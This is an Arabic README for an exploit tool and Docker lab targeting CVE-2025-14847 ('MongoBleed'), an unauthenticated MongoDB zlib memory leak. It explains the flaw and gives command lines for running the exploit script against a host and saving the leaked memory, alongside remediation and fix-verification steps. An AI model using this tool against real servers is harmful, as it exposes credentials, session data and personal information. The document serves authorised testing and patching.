CVE-2025-14847 - MongoBleed

👨‍💻 المؤلف: Furkan KAYAPINAR (@FurkanKAYAPINAR)

⚠️ للأغراض التعليمية فقط

بيئة مختبر وسكربت استغلال لثغرة تسريب الذاكرة الحرجة التي لا تتطلب مصادقة في خادم MongoDB.

📋 جدول المحتويات

• نظرة عامة على الثغرة

• الإصدارات المتأثرة

• التثبيت

• بيئة المختبر

• الاستخدام

• المعالجة

• إخلاء المسؤولية القانوني

🔴 نظرة عامة على الثغرة

CVE-2025-14847 (MongoBleed) هي ثغرة حرجة لتسريب الذاكرة لا تتطلب مصادقة في معالجة ضغط zlib داخل خادم MongoDB.

التفاصيل التقنية

توجد الثغرة في message_compressor_zlib.cpp. عند معالجة رسائل OP_COMPRESSED:

1. يرسل المهاجم رسالة مصمّمة بحقول طول غير متناسقة
2. يخصص الخادم مخزنًا مؤقتًا بناءً على الحجم المُعلَن uncompressedSize
3. البيانات المفكوك ضغطها فعليًا أصغر من الحجم المُعلَن
4. يعيد الخادم طول المخزن المؤقت المخصص بدلاً من طول البيانات الفعلي
5. يتم تسريب ذاكرة كومة غير مهيأة إلى المهاجم

التأثير

قد تتضمن البيانات المسربة:

• 🔑 رموز المصادقة والأسرار
• 🗄️ بيانات جلسات قاعدة البيانات
• 👤 المعلومات الشخصية القابلة للتعريف (PII)
• 🔐 مفاتيح API وكلمات المرور
• ⚙️ تفاصيل الإعدادات

📦 الإصدارات المتأثرة

🚀 التثبيت

# Clone repository
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB

# Create virtual environment
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# venv\Scripts\activate   # Windows

# Install dependencies
pip install -r requirements.txt

🧪 بيئة المختبر

شغّل نسخة MongoDB قابلة للاستغلال للاختبار:

cd lab

# Start vulnerable MongoDB (6.0.26 with zlib enabled)
docker-compose up -d

# Verify it's running
docker-compose ps

# Load sample data (optional)
./setup.sh load-data

# Stop lab
docker-compose down

💀 الاستخدام

الاستغلال الأساسي

# Single target
python exploit/mongobleed.py -u 127.0.0.1

# With specific port
python exploit/mongobleed.py -u 127.0.0.1 -p 27017

# Save leaked data to file
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin

# Multiple iterations for more data
python exploit/mongobleed.py -u 127.0.0.1 -i 20

# Quiet mode (less output)
python exploit/mongobleed.py -u 127.0.0.1 -q

# Without hex dump (text output)
python exploit/mongobleed.py -u 127.0.0.1 --text

🔧 المعالجة

الخيار 1: الترقية (موصى به)

# Update to patched version
# Example for MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27

الخيار 2: تعطيل ضغط zlib

# Start mongod without zlib
mongod --networkMessageCompressors snappy,zstd

# Or in mongod.conf
net:
  compression:
    compressors: snappy,zstd

التحقق من الإصلاح

python remediation/verify_fix.py --target 127.0.0.1 --port 27017

⚖️ إخلاء المسؤولية القانوني

🚨 تحذير

تُوفَّر هذه الأداة لأغراض التعليم واختبارات الأمان المصرّح بها فقط.

• الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني
• أنت وحدك المسؤول عن أفعالك
• لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام

باستخدامك لهذه الأداة، فأنت تقرّ بأن لديك التفويض المناسب لاختبار الأنظمة المستهدفة.

📚 المراجع

• NVD - CVE-2025-14847
• نشرة أمان MongoDB
• Varonis - تحليل MongoBleed

🤝 المساهمة

المساهمات مرحّب بها! يُرجى قراءة CONTRIBUTING.md أولاً.

📄 الترخيص

هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE.